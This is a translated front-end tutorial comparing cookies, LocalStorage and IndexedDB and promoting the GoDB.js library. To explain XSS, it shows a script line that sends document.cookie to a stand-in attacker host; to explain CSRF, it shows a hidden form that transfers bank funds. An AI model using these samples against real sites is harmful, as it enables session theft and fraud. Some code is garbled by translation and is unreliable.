The introduction
In 2021, if your front-end application needs to save data in the browser, there are three major solutions:
- Cookie
- Web Storage (LocalStorage)
- IndexedDB
These solutions are the three most widely used and browser-compatible front-end storage solutions today
Today, this article will talk about the history, advantages and disadvantages of these three schemes, as well as their application scenarios in today’s world
A new indexedDB-based front-end local storage solution, godb.js, will be proposed later
Cookie
The history of cookies
Invented as far back as 1994, cookies are as old as the Internet itself
Unlike the other two local storage solutions, cookies were not invented to solve the problem of “storing things on the browser.” They were invented to solve the stateless nature of THE HTTP protocol
What is the stateless nature of the HTTP protocol? To put it simply: two HTTP requests from the user, the server does not know from the request itself that these two requests are from the same user
For example, logins, which are common today, were virtually impossible to maintain for long before cookies were invented
In other words, cookies were invented as a “supplement to THE HTTP protocol”, so HTTP cookies are often used to refer to cookies in English contexts
Cookie was first used by its inventor Lou Montulli in e-commerce websites to record the items in the shopping cart, so that when the user wants to check out, the browser will send the product data and user information in the Cookie to the server, and the server can know which items the user wants to buy
Cookies have been the only solution for storing data in browsers for a long time, and they are still widely used in many fields today
Cookies today
In 2021, cookies are no longer suitable for use as a front-end local storage solution, although they still have irreplaceable value in some areas:
- Cookie security issues
- Cookies are sent with each request. If you do not use HTTPS and encrypt them, the saved information can be easily stolen, resulting in security risks
- For example, on some sites that use cookies to stay logged in, if cookies are stolen, it’s easy for someone to use your cookies to impersonate you
- Of course you can alleviate this problem by using sessions with cookies, but sessions take up extra server resources
- The automatic sending of cookies on each request also poses a security risk of CSRF attacks
- Cookies are only allowed to store up to 4KB of data
- Cookies are more complex to operate (this can be solved by using class libraries)
Some people say that because the browser will bring cookies with every request, so cookies have another disadvantage is increased bandwidth, but in today’s network environment, this occupation is basically negligible
In short, it is no longer recommended to use cookies to save data in the browser. Most of the scenarios that used cookies can be replaced with LocalStorage today, which is more elegant and more secure
But even though cookies are no longer suitable for storing data in browsers, they are still of unique value today in certain areas
The most common is used in advertisements to mark users and track user behavior across sites, so that when you visit different pages, advertisers can know that it is the same user visiting, so as to achieve follow-up product recommendations and other functions
Assuming that abc.com and XYz.com have embedded Taobao advertisements, you will find that even though abc.com and XYz.com have different owners, the products recommended by Taobao advertisements on the two websites are surprisingly the same, which is because Taobao knows that it is the same person. Visit taobao’s advertisements at abc.com and xyz.com respectively
How does this work? The answer is third-party cookies
Third party cookies
The reason for the name of third-party Cookie is that Cookie implements the same-origin policy. Both A.COM and B.com can only access their own cookies, but cannot access each other’s cookies or any cookies that do not belong to them
If a B.com Cookie is set when visiting a.com (such as embedded B.com pages), then this Cookie is a third-party Cookie relative to A.com
It is worth mentioning that different ports under the same host can access each other’s cookies
One important feature for third-party cookies is that cookies can be set by the server
The server can request the browser to set the Cookie through the request header of the response
Set-Cookie: userId=123;
Copy the code
The browser automatically sets a Cookie when it detects a set-cookie request header in the header returned from the request, without requiring the developer to do additional operations with JS
The advantage brought by this is that when ABC.com and XYz.com want to embed Taobao advertisements on their web pages, they only need to put the components provided by Taobao into HTML, without writing additional JS, and taobao can also target users across sites
<img src="taobao.com/some-ads" />
Copy the code
(This component is a fiction for ease of understanding)
How does it work?
- When the user is in the
abc.com
The browser will respond totaobao.com/some-ads
Make an HTTP request - When taobao server returns advertisement content, can take along
Set-Cookie
The HTTP request header tells the browser to set a source astaobao.com
Cookie, which stores the current user ID and other information - This Cookie is relative to
abc.com
In terms of third-party cookies, because it belongs totaobao.com
- And when the user accesses
xyz.com
When, as a result ofxyz.com
Taobao ads are also embedded in the website, so the user’s browser will also respond totaobao.com/some-ads
The initiating - The interesting thing is that when the request is made, the browser finds that it already exists locally
taobao.com
Cookie (previously accessedabc.com
), so the browser sends the Cookie - Taobao server according to the Cookie sent over, found the current access
xyz.com
User and prior accessabc.com
Is the same user and will therefore return the same ads
That’s roughly how advertisers use third-party cookies to target users across sites. It’s certainly more complicated, but the basic principles are the same
In short, the key is to take advantage of two characteristics of cookies
- Cookies can be set by the server
- The browser automatically carries cookies with each request
Because of these two characteristics, cookies still have irreplaceable value in some fields, even though they have a lot of disadvantages in today’s view
But also because of these two characteristics, the security of Cookie is relatively low. In short, the design of Cookie is a double-edged sword in today’s view
Cookie configuration
When the server asks the browser to set up cookies, it can put some configuration statements in the header of the request to modify the use characteristics of cookies
SameSite
In a recent Chrome update to version 80, the default setting for Cookie’s cross-site policy (SameSite) was Lax, which allowed only same-site or sub-site access to cookies, while the older version was None, which allowed all cross-site cookies
As a result, when users visit XYz.com, the browser will not send cookies to Taobao.com by default, resulting in the failure of third-party cookies
To resolve this, set SameSite to None in the header that returns the request
Set-Cookie: userId=123; SameSite=None
Copy the code
Secure, HttpOnly
Cookies also have two common attributes: Secure and HttpOnly
Set-Cookie: userId=123; SameSite=None; Secure; HttpOnly
Copy the code
Secure allows only cookies to be used in HTTPS requests
HttpOnly is used to prohibit the use of JS to access cookies
Ducoment. cookie // Access is disabledCopy the code
The biggest benefit is that XSS attacks are avoided
XSS attacks
For example, if you are in a forum, the forum has a bug: it does not filter the HTML tags in the posted content
One day, a malicious user sent a post, the content is as follows:
<script>window.open("atacker.com?cookie=" + document.cookie</script>
Copy the code
When you access the content of this post, the browser will execute the code in
XSS attacks In many cases, users do not even know they have been attacked. For example, the SRC attribute of can be used to quietly send user information to the attacker
When HttpOnly is set, ducoment.cookie will not obtain cookies, and the attacker’s code will not take effect
Cookies are summarized
In a word, cookies in today’s applicable scenarios are actually more limited, when you need to store data locally, due to security and Storage space problems, generally not recommended to use cookies, in most cases using Web Storage is a better choice
Web Storage
In the HTML5 standard released at the end of 2014, a new local Storage scheme for Web Storage was added, which includes
- LocalStorage
- SessionStorage
SessionStorage and LocalStorage use the same method, the only difference is that once the page is closed, SessionStorage will delete data; This section uses LocalStorage as an example
LocalStorage features are:
- The Value is stored in key-value format
- Easy to use
- There are 10 MB in size
- Keys and values are stored as strings
Using LocalStorage is very simple, such as saving userId locally:
localStorage.setItem('userId'.'123');
console.log(localStorage.getItem('userId')); / / 123
Copy the code
Once saved with setItem, the user can use getItem to retrieve the desired data even after closing the page
As soon as LocalStorage appeared, it completely replaced cookies in many application scenarios. Most scenarios that need to save data in the browser will preferentially use LocalStorage
The main differences between Cookie and it are:
- More storage space, more convenient to use
- Cookies can be set by the server, while LocalStorage can only be manually operated at the front end
- Cookie data will be automatically sent to the server by the browser, and the LocalStorage will be sent to the server only after it is manually taken out and placed in the request. Therefore, CSRF attacks can be avoided
CSRF attacks
Suppose you log in to bank.com in your browser. The bank uses cookies to save your login status
Then you visit a malicious website that contains a form:
<form action="bank.com/transfer" method="post">
<input type="hidden" name="amount" value="100000.00"/>
<input type="hidden" name="target" value="attacker"/>
<input type="submit" value="Dragon sword, click and send!"/>
</form>
Copy the code
(Assuming bank.com/transfer is the interface used to transfer money)
After you have been induced to press the submit button:
-
Since form submission is cross-domain, you will make a POST request to bank.com/transfer
-
Since you’ve already logged in to Bank.com, the browser will automatically send your Cookie along with it (even if you’re not currently on the bank.com page).
-
After receiving your request with Cookie, Bank.com considers that you have logged in normally, resulting in the successful transfer
-
You end up losing a lot of money
Note that a CSRF attack cannot be prevented even if a Cookie is used in conjunction with an HTTPS request, because an HTTPS request merely encrypts the data being transmitted. A CSRF attack, on the other hand, induces you to access an interface that requires your permissions, and HTTPS does not prevent that access
At the heart of this CSRF attack is the fact that the browser automatically carries cookies with all requests
Therefore, a common scenario for LocalStorage to replace cookies is the maintenance of login state. For example, the method of token and HTTPS request can greatly improve the security of login. Avoid CSRF attacks (but still not completely avoid XSS attacks)
After logging in, the user gets a token from the server and saves it in the LocalStorage. After each request, the user takes out the token from the LocalStorage and puts it into the request data. The server can know that the same user initiated the request. Because of HTTPS, there is no fear that the token will be leaked to a third party, so it is quite secure
To summarize why LocalStorage replaces cookies in most application scenarios:
- LocalStorage is easier to use, simpler and has more storage space
- LocalStorage protects cookies from CSRF attacks
The disadvantage of LocalStorage
However, LocalStorage is not perfect, and it has two disadvantages:
- An expiration time cannot be set like a Cookie
- You can only store strings, not objects directly
For example, if you want to save an object ora non-string type to LocalStorage:
localStorage.setItem('key', {name: 'value'});
console.log(localStorage.getItem('key')); // '[object, Object]'
localStorage.setItem('key'.1);
console.log(localStorage.getItem('key')); / / '1'
Copy the code
You’ll notice that if you put an object in it, you’ll get the string ‘[object, object]’ out of it. The data is lost!
If I put a number in it, I get a string out of it
To solve this problem, use json.stringify () with json.parse ().
localStorage.setItem('key'.JSON.stringify({name: 'value'}));
console.log(JSON.parse(localStorage.getItem('key'))); // {name: 'value'}
Copy the code
In this way, object and non-string storage can be implemented
However, there is a downside to doing this, which is that json.stringify () is inherently problematic
const a = JSON.stringify({
a: undefined.b: function(){},
c: /abc/,
d: new Date()});console.log(a) / / "{" c" : {}, "d" : "the 2021-02-02 T19: beyond. 346 z"}"
console.log(JSON.parse(a)) // {c: {}, d: "2021-02-02T19:40:12.346z "}
Copy the code
As above, json.stringify () fails to convert some of the JS properties correctly
- undefiend
- Function
- RegExp (regular expression, converted to empty object)
- Date (converted to a string instead of a Date object)
In fact, there is also a Symbol can not be converted, but because of the Symbol itself definition (global uniqueness) determines that it should not be converted, otherwise even if converted back, will not be the original Symbol
Function is also special, but to be compatible, you can call.toString() to convert it to a string store and eval back when needed
Also, json.stringify () cannot convert objects referenced in a loop
const a = { key: 'value' };
a['a'] = a;
JSON.stringify(a);
// Uncaught TypeError: Converting circular structure to JSON
// --> starting at object with constructor 'Object'
// --- property 'a' closes the circle
// at JSON.stringify (
)
Copy the code
This problem with json.stringify () is largely ignored in most applications, but it can still cause problems in a small number of scenarios, such as saving a regular expression or a Date object
conclusion
In most application scenarios, LocalStorage can completely replace cookies. Only in advertising scenarios, cookies can be set by the server, so they still have irreplaceable value
But LocalStorage isn’t perfect — it only supports 10MB, which isn’t enough in some applications, and it only supports strings natively. The json.stringify () solution isn’t perfect enough for storing large and complex data in many cases
IndexedDB
IndexedDB stands for Indexed Database, and as the name suggests, it is a Database
IndexedDB was first proposed back in 2009, but it actually hit browsers around the same time as Web Storage (yes, 2015, and es6).
IndexedDB is a serious database that has replaced the unsophisticated Web SQL solution and is now the only database running in the browser
In my opinion, IndexedDB is actually better suited as the ultimate front-end local data storage solution
IndexedDB has the following advantages over LocalStorage
- There is theoretically no upper limit to the amount of storage
- Chrome defines the storage limit for IndexedDB as one third of the available disk space
- All operations are asynchronous, and the performance is higher than that of the LocalStorage synchronization operation, especially when the data volume is large
- Natively supports objects that store JS
- It’s a serious database, which means it can do anything a database can do
But the drawbacks can be deadly:
- Very cumbersome to operate
- There is a certain threshold (you need to know the concept of database)
Due to the early proposal, the API design of IndexedDB was actually quite poor, and it was quite a struggle for beginners just to connect to the database and add things to it
IndexedDB’s API was far too complex for simple data storage, and its asynchronous API created an additional mental burden that was far less efficient than the two lines of LocalStorage
As a result, IndexedDB is far less widely used today than LocalStorage, even though IndexedDB itself is better designed for storing data in browsers
All in all, IndexedDB is close to perfect as a front-end local storage solution, if not for the operational difficulties involved
Understanding databases
Before using IndexedDB, you first need to understand basic database concepts
Here, using Excel analogy, a brief introduction to the basic concepts of database, not too in-depth discussion
There are four basic concepts you need to understand, using relational databases as an example
- Database Database
- Table IndexedDB ObjectStore
- Field in the Field,
- Business Transaction
(Although IndexedDB is not a relational database, the concepts are the same.)
Suppose that Tsinghua university and Peking University each need to build a database to store the information of their students and faculty. Let’s name it as
- Tsinghua university:
thu
- Peking University:
pku
In this way, the data between the Northern Qing dynasty can be independent of each other
Then, we go to the database to build the table
student
Table, store student informationstuff
Table, store staff information
What is a Table? Basically, it’s an Excel spreadsheet
For example, the student table could look like this:
The student NUMBER, name, age and major above are the fields in the data table
When we want to add data to the student table, we need to add data to the table in the specified format (characteristic of relational databases, IndexedDB allows non-formatting).
The database also provides us with a method, when we know a student’s student ID, we can quickly find that student in a very short time, among thousands of students in the table, and return their complete information
You can also locate the student according to the ID and modify or delete the student’s data
A unique value, such as id, can be used as a primary key. A primary key is unique in a table and cannot be used to add data of the same primary key
If the primary key is not indexed, you may need to traverse the entire table (O(N)). If the primary key is not indexed, you may need to traverse the table (O(N)).
Add, delete, modify, and query all require Transaction Transaction
- If any operation in the transaction fails, the entire transaction is rolled back
- The operation does not affect the database until the transaction completes
- Different transactions cannot affect each other
For example, if you initiate a transaction to add two students, if the first student is successfully added but the second fails, the transaction will be rolled back and the first student will never appear in the database at all
Transactions are useful in scenarios such as bank transfers: if any of the steps in the transfer fail, the entire transfer is as if it never happened
We can also have the stuff table in the same Excel file (database) as well as the student table:
Then, tsinghua university and Peking University each share an Excel file, which is equivalent to two databases
All in all, we can use Excel as a database analogy, regardless of all the difficult concepts about databases
- An Excel file is a Database
- There are many different tables in an Excel Database.
- The column names of a table are simply fields
The analogy is closest to a relational database such as MySQL, but may not be appropriate for other, more specialized databases (such as graph databases)
If you’re new to understanding databases using Excel analogies is perfectly fine, enough to use IndexedDB
Although IndexedDB uses key-value mode to store data, you can also think of it as Table mode
The use of with IndexedDB
The first step in using IndexedDB is to open the database:
const request = window.indexedDB.open('pku');
Copy the code
This opens a database named PKU, which the browser creates automatically if it doesn’t exist
Then there are three events on the request:
var db; // Global IndexedDB database instance
request.onupgradeneeded = function (event) {
db = event.target.result;
console.log('version change');
};
request.onsuccess = function (event) {
db = request.result;
console.log('db connected')l;
};
request.onblocked = function (event) {
console.log('db request blocked! ')
}
request.onerror = function (event) {
console.log('error! ');
};
Copy the code
IndexedDB has a concept of version that can be specified when connecting to the database
const version = 1;
const request = window.indexedDB.open('pku', version);
Copy the code
Versioning is mainly used to control the structure of the database, and when the database structure (table structure) changes, versioning also changes
As above, there are four events on request:
onupgradeneeded
Triggered when version changes- Note that the first time you connect to the database, the version changes from 0 to 1, so it is also triggered and precedes
onsuccess
- Note that the first time you connect to the database, the version changes from 0 to 1, so it is also triggered and precedes
onsuccess
Triggered after a successful connectiononerror
Triggered when a connection fails, such as when the version opened is lower than the version that currently existsonblocked
Triggered when a connection is blocked, such as trying to initiate a higher-version connection while the lower-version connection has not been closed
Note that all four events are asynchronous, meaning that after the request to connect to IndexedDB has been sent, it will take some time before the database can be connected and operated on
All of the developer’s operations on the database have to be placed after the asynchronous connection to the database, which can sometimes be quite inconvenient
Developers wishing to create tables (called ObjectStore in IndexedDB) must only place them in an onupgradeneneeded event (officially defined as an event that requires an IDBVersionChange)
request.onupgradeneeded = function (event) {
db = event.target.result;
if(! db.objectStoreNames.contains('student')) {
db.createObjectStore('student', {
keyPath: 'id'./ / the primary key
autoIncrement: true / / since the increase}); }}Copy the code
Create table student (id); create table student (id); create table student (id)
Finally, with all this done, we can connect to the database and add data
const adding = db.transaction('student'.'readwrite') // Create transaction
.objectStore('student') // Specify the student table
.add({ name: 'luke'.age: 22 });
adding.onsuccess = function (event) {
console.log('write success');
};
adding.onerror = function (event) {
console.log('write failed');
}
Copy the code
Let’s do the same thing and add another piece of data
db.transaction('student'.'readwrite')
.objectStore('student')
.add({ name: 'elaine'.age: 23 });
Copy the code
Then, open the browser’s developer tools and see the added data:
Here you can see the key-value storage feature of IndexedDB, where key is the primary key (specified as ID) and value is the remaining field and corresponding data
The key-value structure corresponds to the Table structure as follows:
To retrieve data, a READonly Transaction is required
const request = db.transaction('student'.'readonly')
.objectStore(this.name)
.get(2); // Get data with id 2
request.onsuccess = function (event) {
console.log(event.target.result) // { id: 2, name: 'elaine', age: 23 }
}
Copy the code
Simply adding and querying data to IndexedDB requires a lot of code, which can be cumbersome and easy to fall into
So, is there a way to use IndexedDB more elegantly and more effectively with less code?
GoDB.js
Godb.js is an IndexedDB-based library that implements front-end local storage
Help you make your code simpler while leveraging the power of IndexedDB
First install:
npm install godb
Copy the code
Add, delete, change, and check IndexedDB in one line of code.
import GoDB from 'godb';
const testDB = new GoDB('testDB'); // Connect to the database
const user = testDB.table('user'); // Get the data table
const data = { name: 'luke'.age: 22 }; // Define a random object
user.add(data) / / to add
.then(luke= > user.get(luke.id)) / / check
.then(luke= >user.put({ ... luke,age: 23 })) / / change
.then(luke= > user.delete(luke.id)); / / delete
Copy the code
Or, add a lot of data at once and see what happens:
const arr = [
{ name: 'luke'.age: 22 },
{ name: 'elaine'.age: 23}]; user.addMany(arr) .then(() = > user.consoleTable());
Copy the code
This code displays the contents of the user table in the console after adding data:
To return to the LocalStorage problem, use GoDB to implement normal storage:
import GoDB from 'godb';
const testDB = new GoDB('testDB'); // Connect to the database
const store = testDB.table('store'); // Get the data table
const obj = {
a: undefined.b: /abc/,
c: new Date()
};
store.add(obj)
.then(item= > store.get(item.id)) // Get the saved instance
.then(res= > console.log(res));
/ / {
// id: 1,
// a: undefined,
// b: /abc/,
// c: new Date()
// }
Copy the code
Also, objects referenced in a loop can be stored using GoDB
const a = { key: 'value' };
a['a'] = a;
store.add(a)
.then(item= > store.get(item.id)) // Get the saved instance
.then(result= > console.log(result));
// Print the object with the same id as a
Copy the code
For more detailed usage of GoDB, please refer to GoDB’s official website (under improvement) :
godb-js.github.io
Anyway, GoDB does
- Help you handle IndexedDB behind the scenes
- Help you maintain databases, tables, and fields behind the scenes
- As well as field indexes, various attributes (e.g
unique
)
- As well as field indexes, various attributes (e.g
- Help standardize your use of IndexedDB to make your projects more maintainable
- Finally, several easy-to-use apis are available to allow you to play with IndexedDB in simple code
conclusion
Summarize the characteristics and application scenarios of the three schemes:
- Cookie
- Can be specified by the server, and the browser will automatically include it in the request
- The size is only 4KB
- Large-scale application for advertisers to target users
- Working with session is also a feasible login authentication scheme
- Web Storage
- It is 10MB in size and extremely simple to use
- But you can only store strings, you need to escape to store JS objects
- It can completely replace cookies in most cases and is more secure
- The token can be used for more secure login authentication
- IndexedDB
- Unlimited storage space, extremely powerful
- Native support JS objects, can better store data
- In the form of database storage data, data management is more standardized
- However, the native API is cumbersome and has some barriers to use
I personally am a big believer in IndexedDB, and I think IndexedDB will shine in the next decade in the increasingly complex front-end applications (online documentation, SaaS applications) and Electron environment
- Such as caching interface data to achieve a better user experience
- For example, online documents (rich text editors) save editing history
- Like any application that needs to keep a lot of data on the front end
In short, IndexedDB can be said to be the most suitable solution for storing data in the front end, but because of its cumbersome operation and certain threshold of use, in the current use of more simple localStorage is not so wide
If you want to use IndexedDB, it is recommended to try the GoDB library to make it as easy as possible
Official website (continuous improvement) : godb-js.github. IO
Making: github.com/chenstarx/G…
The GoDB project is being continuously updated and optimized, please pay attention to ~